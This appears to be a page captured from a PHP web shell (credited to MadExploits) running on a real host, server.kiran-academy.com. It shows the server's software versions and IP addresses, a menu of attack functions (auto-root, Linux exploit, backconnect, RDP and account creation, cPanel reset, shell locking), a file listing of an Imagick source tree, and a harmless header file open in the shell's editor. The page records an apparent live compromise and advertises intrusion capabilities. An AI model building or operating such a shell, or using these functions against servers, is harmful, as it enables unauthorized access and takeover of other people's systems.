Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
imagick /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.github
[ DIR ]
drwxr-xr-x
.libs
[ DIR ]
drwxr-xr-x
autom4te.cache
[ DIR ]
drwxr-xr-x
bisect
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
docker
[ DIR ]
drwxr-xr-x
examples
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
rpm
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
.gitignore
757
B
-rw-r--r--
.travis.yml
2.26
KB
-rw-r--r--
CREDITS
39
B
-rw-r--r--
ChangeLog
44.76
KB
-rw-r--r--
Imagick.stub.php
47.02
KB
-rw-r--r--
ImagickDraw.stub.php
11.53
KB
-rw-r--r--
ImagickDraw_arginfo.h
58.47
KB
-rw-r--r--
ImagickKernel.stub.php
648
B
-rw-r--r--
ImagickKernel_arginfo.h
4.14
KB
-rw-r--r--
ImagickPixel.stub.php
2.42
KB
-rw-r--r--
ImagickPixelIterator.stub.php
1.5
KB
-rw-r--r--
ImagickPixelIterator_arginfo.h
8.4
KB
-rw-r--r--
ImagickPixel_arginfo.h
10.03
KB
-rw-r--r--
Imagick_arginfo.h
210.9
KB
-rw-r--r--
LICENSE
3.14
KB
-rw-r--r--
Makefile
13.17
KB
-rw-r--r--
Makefile.fragments
0
B
-rw-r--r--
Makefile.objects
4.32
KB
-rw-r--r--
README.md
6.68
KB
-rw-r--r--
check-loaded.phpt
422
B
-rw-r--r--
clean.sh
158
B
-rw-r--r--
composer.json
510
B
-rw-r--r--
config.h
2.04
KB
-rw-r--r--
config.h.in
1.91
KB
-rw-r--r--
config.log
19.97
KB
-rw-r--r--
config.m4
3.54
KB
-rw-r--r--
config.nice
190
B
-rwxr-xr-x
config.status
20.95
KB
-rwxr-xr-x
config.w32
1.43
KB
-rw-r--r--
configure
458.31
KB
-rwxr-xr-x
configure.ac
5.17
KB
-rw-r--r--
docker-compose.yml
1.04
KB
-rw-r--r--
imagemagick.m4
7.4
KB
-rw-r--r--
imagemagick_dependency.sh
3.31
KB
-rwxr-xr-x
imagick.c
41.26
KB
-rw-r--r--
imagick.dep
11.41
KB
-rw-r--r--
imagick.la
827
B
-rw-r--r--
imagick.lo
305
B
-rw-r--r--
imagick_class.c
374.08
KB
-rw-r--r--
imagick_class.dep
11.07
KB
-rw-r--r--
imagick_class.lo
317
B
-rw-r--r--
imagick_file.c
10.36
KB
-rw-r--r--
imagick_file.dep
11.03
KB
-rw-r--r--
imagick_file.lo
315
B
-rw-r--r--
imagick_helpers.c
80.9
KB
-rw-r--r--
imagick_helpers.dep
11.03
KB
-rw-r--r--
imagick_helpers.lo
321
B
-rw-r--r--
imagickdraw_class.c
85.75
KB
-rw-r--r--
imagickdraw_class.dep
11.04
KB
-rw-r--r--
imagickdraw_class.lo
325
B
-rw-r--r--
imagickkernel_class.c
23.66
KB
-rw-r--r--
imagickkernel_class.dep
11.04
KB
-rw-r--r--
imagickkernel_class.lo
329
B
-rw-r--r--
imagickpixel_class.c
21.4
KB
-rw-r--r--
imagickpixel_class.dep
11.04
KB
-rw-r--r--
imagickpixel_class.lo
327
B
-rw-r--r--
imagickpixeliterator_class.c
18.93
KB
-rw-r--r--
imagickpixeliterator_class.dep
11.06
KB
-rw-r--r--
imagickpixeliterator_class.lo
343
B
-rw-r--r--
libtool
205.98
KB
-rwxr-xr-x
package.xml
26.7
KB
-rw-r--r--
php_imagemagick_version_defs.h
6.17
KB
-rw-r--r--
php_imagick.h
2.07
KB
-rw-r--r--
php_imagick_defs.h
38.99
KB
-rw-r--r--
php_imagick_file.h
2.88
KB
-rw-r--r--
php_imagick_helpers.h
4.47
KB
-rw-r--r--
php_imagick_macros.h
3.22
KB
-rw-r--r--
php_imagick_shared.h
1.79
KB
-rw-r--r--
regen_arginfo.sh
766
B
-rwxr-xr-x
run-tests.php
139.39
KB
-rw-r--r--
runDev.sh
100
B
-rw-r--r--
runTests.sh
213
B
-rw-r--r--
shim_im6_to_im7.c
23.76
KB
-rw-r--r--
shim_im6_to_im7.dep
11.08
KB
-rw-r--r--
shim_im6_to_im7.h
7.07
KB
-rw-r--r--
shim_im6_to_im7.lo
321
B
-rw-r--r--
shim_php7_to_php8.h
640
B
-rw-r--r--
validate_package.sh
233
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : php_imagemagick_version_defs.h
#ifndef PHP_IMAGEMAGICK_VERSION_DEFS_H # define PHP_IMAGEMAGICK_VERSION_DEFS_H // Q) Why are the defines done in this file? // // A) Checking whether an ImageMagick function is available _and_ usable is // annoyingly difficult. It's pretty common for new functions to be introduced // in patch releases, (e.g. 6.5.4-8) rather than in minor releases (6.5.5-0). // // Additionally, the api for new functions often changes quite rapidly in the // first few versions it is available in, which means we can't just check for // the presence of the symbol // // Because of those two things, the sanest thing to do is to support features // based on the minimum minor version from which they are continually // available and stable. // // Any mistake in which version is required for a feature can be fixed in a // single place, rather than having to have duplicated info elsewhere. #if MagickLibVersion >= 0x700 #if MagickLibVersion >= 0x702 #define IM_HAVE_IMAGICK_SETIMAGEINTERPOLATEMETHOD 1 #endif #elif MagickLibVersion >= 0x631 #define IM_HAVE_IMAGICK_SETIMAGEINTERPOLATEMETHOD 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_SETIMAGEPIXELCOLOR 1 #endif // Although there is some 'cannyEdgeImage' code in ImageMagick 6, // there is no 'MagickCannyEdgeImage' exported function in the API. #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_CANNYEDGEIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_SETSEED 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_WAVELETDENOISEIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_MEANSHIFTIMAGE 1 #endif #if MagickLibVersion >= 0x710 #define IM_HAVE_IMAGICK_KMEANSIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_RANGETHRESHOLDIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_AUTOTHRESHOLDIMAGE 1 #endif #if MagickLibVersion >= 0x710 #define IM_HAVE_IMAGICK_BILATERALBLURIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_CLAHEIMAGE 1 #endif #if MagickLibVersion >= 0x702 #define IM_HAVE_IMAGICK_CHANNELFXIMAGE 1 #endif #if MagickLibVersion >= 0x710 #define IM_HAVE_IMAGICK_COLORTHRESHOLDIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_COMPLEXIMAGES 1 #endif #if MagickLibVersion >= 0x702 #define IM_HAVE_IMAGICK_INTERPOLATIVERESIZEIMAGE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_LEVELIMAGECOLORS 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_LEVELIZEIMAGE 1 #endif #if MagickLibVersion >= 0x702 #define IM_HAVE_IMAGICK_ORDEREDDITHERIMAGE 1 #endif #if MagickLibVersion >= 0x70B #define IM_HAVE_IMAGICK_WHITEBALANCEIMAGE 1 #endif #if MagickLibVersion >= 0x702 #define IM_HAVE_IMAGICK_ADD_NOISE_WITH_ATTENUATE 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_DELETE_OPTION 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_BACKGROUND_COLOR 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_IMAGE_ARTIFACTS 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_IMAGE_DISTORTIONS 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_IMAGE_KURTOSIS 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_IMAGE_MEAN 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_IMAGE_RANGE 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_INTERPOLATE_METHOD 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_OPTIONS 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_ORIENTATION 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_RESOLUTION 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_GET_TYPE 1 #endif #if MagickLibVersion >= 0x709 #define IM_HAVE_IMAGICK_POLYNOMIAL_IMAGE 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_SET_DEPTH 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_SET_EXTRACT 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_SET_INTERPOLATE_METHOD 1 #endif #if MagickLibVersion >= 0x701 #define IM_HAVE_IMAGICK_SET_ORIENTATION 1 #endif #if MagickLibVersion >= 0x70A // Technically, this may be available earlier, but the behaviour around // default mask changed. #define IM_HAVE_IMAGICK_GETSETIMAGEMASK 1 // ImageMagick forget to export the header until about 7.0.11-14... WandExport MagickBooleanType MagickSetImageMask( MagickWand *wand, const PixelMask type, const MagickWand *clip_mask ); #endif // The above is sub-optimal as it's hard to read. It'd be better to do // something like the below: //#define MAGICK_LIB_RANGE(NAME, IM6_VERSION, IM7_VERSION) slash //#if MagickLibVersion >= 0x700 slash // #if MagickLibVersion >= IM7_VERSION slash // #define IM_HAVE_##NAME 1 slash // #endif slash //#elif MagickLibVersion >= 0x600 slash // #if MagickLibVersion >= IM6_VERSION slash // #define IM_HAVE_##NAME 1 slash // #endif slash //#endif // MAGICK_LIB_RANGE(IMAGICK_SETIMAGEINTERPOLATEMETHOD, 0x631, 0x702) // But this type of macro expansion is not possible. // // https://stackoverflow.com/questions/48431325/is-it-possible-to-define-macro-inside-macro // "The resulting completely macro-replaced preprocessing token sequence is not // processed as a preprocessing directive even if it resembles one,..." // // An alternative would be to use code generation to build the define file as // part of the build process. However that would involve looking at m4 config files. #if MagickLibVersion >= 0x700 // declare symbols only defined in C source and not in header WandExport MagickBooleanType MagickSetImageMask( MagickWand *wand, const PixelMask type, const MagickWand *clip_mask ); #endif #if MagickLibVersion >= 0x710 // declare symbols only defined in C source and not in header WandExport MagickBooleanType MagickBilateralBlurImage(MagickWand *wand, const double radius,const double sigma,const double intensity_sigma, const double spatial_sigma); #endif #endif /* PHP_IMAGEMAGICK_VERSION_DEFS_H */
Close